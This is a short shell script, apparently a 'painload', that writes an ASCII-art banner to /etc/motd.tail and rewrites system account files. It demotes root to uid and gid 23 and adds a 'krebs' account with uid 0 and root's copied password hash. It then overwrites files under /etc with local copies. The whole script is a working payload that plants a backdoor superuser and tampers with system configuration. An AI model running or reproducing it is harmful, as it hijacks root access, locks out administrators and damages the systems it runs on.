#! /bin/sh

cat>/etc/motd.tail<<EOF
KREBS PAINLOAD (MORE COBRA)
  x x              x x
 xx xx  xx    xx  xx xx
 xx xx  xx    xx  xx xx
  xxx    x     x   xxx
   x  xxxxxxxxxxxx  x
    xxxxxxxxxxxxxxxx
   x  xxxxxxxxxxxx  x
  x  x   x     x  x  x
  x  x   x     x  x  x
EOF

f=/etc/passwd
sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
sed -ri '/^krebs/d' $f
echo 'krebs:x:0:0::/root:/bin/bash' >>$f


f=/etc/shadow 
sed -ri '/^krebs/d' $f
grep root $f | sed 's/^root/krebs/' >> $f


f=/etc/group
sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $f
sed -ri '/^krebs/d' $f
echo 'krebs:x:0:' >>$f

for i in etc/*; do
  cat $i > /$i
done